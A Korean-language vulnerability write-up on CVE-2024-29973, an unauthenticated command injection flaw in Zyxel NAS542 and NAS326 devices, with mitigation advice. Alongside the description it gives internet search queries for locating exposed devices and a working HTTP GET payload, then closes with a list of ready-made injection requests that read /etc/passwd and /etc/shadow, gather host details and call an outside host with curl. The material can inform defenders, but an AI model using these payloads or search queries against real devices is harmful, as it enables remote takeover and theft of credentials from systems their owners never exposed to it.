
CVE-2024-29973은 특정 Zyxel 네트워킹 장치에서 발견된 심각한 취약점입니다. 이 취약점은 펌웨어의 부적절한 입력 검증 메커니즘을 악용하여 인증되지 않은 공격자가 대상 장치에서 임의의 명령을 실행할 수 있게 합니다. 공격자는 특수하게 조작된 HTTP 요청을 장치에 전송하여 시스템 수준 명령을 주입하고 잠재적으로 장치에 대한 완전한 제어권을 획득할 수 있습니다.
Hunter: product.name="ZyXEL NAS542"||product.name="ZyXEL NAS326" FOFA: app="NAS542" || app="ZYXEL-NAS326" SHODAN: http.title:"Zyxel NAS326"
명령 주입: 이 취약점은 장치의 웹 인터페이스 중 하나에서 입력 값 검증이 충분히 이루어지지 않아 발생합니다. 이 결함으로 인해 공격자는 HTTP 요청의 매개변수에 운영 체제 명령을 추가할 수 있습니다.
악용 예시: 공격자는 아래와 같은 HTTP GET 요청을 통해 명령을 주입하여 임의의 코드를 실행할 수 있습니다.
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("id",+shell=True)%23 HTTP/1.1
영향: 성공적인 악용 시 시스템 명령 실행이 가능해지며, 이는 장치에 대한 원격 제어, 데이터 유출 또는 네트워크의 추가적인 손상으로 이어질 수 있습니다.
이 취약점과 관련된 위험을 완화하려면 다음 단계를 따르십시오:
펌웨어 업데이트: 모든 Zyxel 장치를 최신 펌웨어 버전으로 업데이트하십시오. Zyxel은 이 취약점을 해결하는 패치를 출시했습니다. 업데이트를 정기적으로 확인하고 신속하게 적용하십시오.
네트워크 분리: 취약한 장치를 중요한 네트워크 인프라에서 격리하십시오. 필요한 서비스만 노출하고 관리 인터페이스가 공개적으로 접근 가능하지 않도록 하십시오.
방화벽 구성: 필수 서비스에 대해서만 수신 및 발신 트래픽을 제한하십시오. Zyxel 장치에 대한 불필요한 HTTP 접근을 차단하십시오.
의심스러운 활동 모니터링: 반복적인 로그인 시도나 비정상적인 트래픽 패턴과 같은 비정상적인 동작을 감지하고 경고할 수 있는 로깅 및 모니터링 도구를 구현하십시오.
참고 자료 National Vulnerability Database - CVE-2024-29973 Zyxel Security Advisory

GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("cat+/etc/passwd",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("cat+/etc/shadow",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("curl+ifconfig.me",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("hostname",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("ip+a",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("uname+-a",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("cat+/etc/group",+shell=True)%23 HTTP/1.1